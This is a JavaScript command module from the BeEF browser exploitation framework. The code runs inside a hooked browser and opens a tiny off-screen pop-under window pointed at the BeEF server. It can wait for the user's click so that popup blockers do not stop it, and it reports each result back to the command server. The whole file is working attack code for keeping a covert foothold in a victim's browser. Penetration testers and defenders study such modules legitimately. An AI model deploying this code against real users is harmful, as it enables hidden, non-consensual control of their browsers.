command.js

//
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';
  var popunder_name = Math.random().toString(36).substring(2,10);

  function popunder() {
    beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'");
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');

    try {
      window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();
      window.focus();
      beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());
    } catch(e) {
      beef.debug("[Create Pop-Under] Could not create pop-under window");
      beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());
    }

    if (document.removeEventListener) {
      // Every sane browser
      document.removeEventListener("click", popunder);
    } else {
      // IE8 and earlier
      document.detachEvent("onclick", popunder);
    }
  }

  if ('<%= @clickjack %>' == 'on') {
    beef.debug("[Create Pop-Under] Waiting for click event...");
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Waiting for click event');
    if (document.addEventListener) {
      // Every sane browser
      document.addEventListener("click", popunder);
    } else {
      // IE8 and earlier
      document.attachEvent("onclick", popunder);
    }
  } else {
    popunder();
  }
});